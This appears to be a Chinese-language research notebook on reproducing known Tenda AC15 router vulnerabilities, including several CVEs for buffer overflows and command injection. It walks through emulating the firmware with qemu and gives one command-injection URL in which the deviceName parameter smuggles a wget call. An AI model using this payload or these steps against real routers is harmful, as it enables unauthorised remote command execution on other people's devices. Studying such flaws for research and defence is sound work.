Model | Vulnerability ID | Function | Keyword | Sink |
---|---|---|---|---|
Tenda AC15 | CVE-2022-40853(BOF) | form_fast_setting_wifi_set | ssid | strcpy |
CVE-2022-37175(BOF) | formWifiBasicSet | security_5g | strcpy | |
CVE-2020-10987(CI) | formestUsbUnload | deviceName | doSystemCmd | |
CVE-2018-16333(BOF) | form_fast_setting_wifi_set | ssid | strcpy | |
CVE-2018-5767(BOF) | R7WebsSecurityHandler | password | sscanf |
CVE-2022-37175 栈溢出
描述:Tenda ac15 firmware V15.03.05.18 httpd server has stack buffer overflow in /goform/formWifiBasicSet.
链接:https://www.opencve.io/cve/CVE-2022-37175
路由器:Tenda AC15
固件版本:V15.03.05.18
二进制:httpd
函数:goform/formWifiBasicSet
字符串:security_5g
漏洞类型:栈溢出
漏洞详细说明:https://www.cnblogs.com/Amalll/p/16527552.html
security_5g是 污点变量
传播给src, 然后传播给strcpy()这个sink函数
没有长度限制
poc 最终出现DDoS 拒绝服务
16进制魔术数在许多处理器、操作系统和调试工具中都得到应用,且尤常作为调试量使用。ref: https://blog.csdn.net/weixin_43921239/article/details/103295616
- 0xDEADBABE(“Dead Babe”)在IBM的Jikes研究虚拟机上使用,用于确认主线程的栈是否正常。[8]
1 | # squashfs-root/exp.py |
复现过程
阿里云机器
https://blog.csdn.net/song_lee/article/details/113800058
whereis qemu-arm-static
cd data/AC15_v18/_US_AC15V1.0BR_V15.03.05.18_multi_TD01.bin.extracted/squashfs-root
cp /usr/bin/qemu-arm-static /usr/share/man/man1/qemu-arm-static.1.gz ./
mount -o bind /dev ./dev
mount -t proc /proc ./proc
chroot . ./qemu-arm-static ./bin/httpd
第一次 卡在,用IDA_Pro_v7.5的keypatch插件修改二进制文件之后,==IDA-》edit-》Patch program-》Apply patches to input file即可得到修改后的httpd文件。==

第二次运行httpd,发现IP地址有问题(最后一行),是随机的
解决:加个网卡
https://blog.csdn.net/song_lee/article/details/113033495
为了方便 qemu 虚拟机和宿主机通信,我们在宿主机上新建一个新的虚拟网卡。在此之前先安装 tunctl
apt-get install uml-utilities
配置虚拟网卡
tunctl -t br0 -u root #br0是网卡名字 root是你已有账户名
ifconfig br0 192.168.10.1/24 #给br0配置IP地址,这里配什么地址都可以
pip install requests
pip install pwntools
然后一个窗口 正在模拟固件,另一个窗口 运行python exp.py
CVE-2020-10987 远程命令执行
https://nosec.org/home/detail/4634.html
设备:Tenda AC15 路由器(可能包含其他系列路由器)
固件版本:<V15.03.05.18
测试固件:V15.03.05.18固件
函数:formestUsbUnload
字符串:deviceName
sink函数:doSystemCmd
http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog
在formestUsbUnload函数里,可以直接在deviceName后打入命令,传到doSystemCmd去执行
这样我们就可以构造payload了(这个路径需要有user和password才能访问,可以使用router scan进行密码提取)
poc

CVE-2018-5767 栈溢出
http://www.hackdig.com/03/hack-72334.htm
漏洞描述:在sscanf时,cookie长度没有进行限制,因此造成栈溢出.
漏洞点位于R7WebsSecurityHandler中
根据在IDA中看到的websUrlHandlerDefine等函数,可以判定程序使用的是GoAhead框架,另外在字符串中找到了2.1.8,可以进一步确定程序使用的框架是GoAhead 2.1.8。在github可以下载框架源码。下载源码的目的在于补全一些结构体的定义,方便逆向.
poc
1 | # python2 exp2.py |